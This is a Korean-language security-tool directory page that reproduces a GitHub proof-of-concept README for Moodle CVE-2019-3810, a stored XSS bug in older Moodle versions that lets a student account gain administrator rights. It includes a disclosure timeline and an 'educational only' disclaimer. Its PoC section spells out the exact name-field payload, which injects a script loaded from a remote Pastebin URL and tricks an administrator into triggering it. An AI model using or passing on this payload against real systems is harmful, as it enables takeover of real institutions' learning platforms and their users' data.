Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Moodle-CVE-2019-3810 — Moodle (< 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16) 권한 상승을 위한 XSS PoC (학생에서 관리자로) | Kitploit
도구/GitHubGitHub/farisv/moodle-cve-2019-3810
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubfarisv/moodle-cve-2019-3810

Moodle-CVE-2019-3810

Moodle (< 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16) 권한 상승을 위한 XSS PoC (학생에서 관리자로)

저장소 보기
17215년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Moodle CVE-2019-3810

Moodle (< 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16) XSS PoC - 권한 상승 (학생에서 관리자로). 이는 제가 과거 대학 기관에서 침투 테스트를 진행하던 중 발견한 버그 중 하나입니다. 당시에는 단 하나의 간단한 버그를 이용해 사실상 관리자 접근 권한을 탈취하고 Moodle을 완전히 제어할 수 있을 정도로 성공적이었습니다.

Git 기록에서 확인할 수 있듯이, 이 버그는 Moodle의 오래된 버전(2003년)부터 존재했으며 2019년에 패치되었습니다.

타임라인:

  • 2018년 12월 - Moodle에 버그 신고
  • 2019년 1월 - 패치 배포
  • 2021년 4월 - PoC 공개

경고

교육 목적으로만 사용하십시오. 불법 활동에 이 익스플로잇을 사용하지 마십시오. 저자는 어떠한 오용이나 손해에 대해 책임을 지지 않습니다.

PoC

  1. payload.js를 Pastebin이나 유사한 서비스에 업로드합니다. userid 값을 자신의 ID로 변경합니다. URL을 https://pastebin.com/raw/xxxxxxxx라고 가정합니다.
  2. 학생 계정으로 로그인합니다.
  3. 이름을 " style="position:fixed;height:100%;width:100%;top:0;left:0" onmouseover="x=document.createElement로 설정합니다.
  4. 성을 ('script');x.src='https://pastebin.com/raw/xxxxxxxx';document.body.appendChild(x); alert('XSS')로 설정합니다.
  5. 관리자에게 /userpix/ 페이지를 열도록 요청하거나, 게시물에 해당 페이지 링크를 추가하고 기다립니다.

성공하면 귀하의 계정이 관리자로 추가됩니다.

데모 영상

도구 다운로드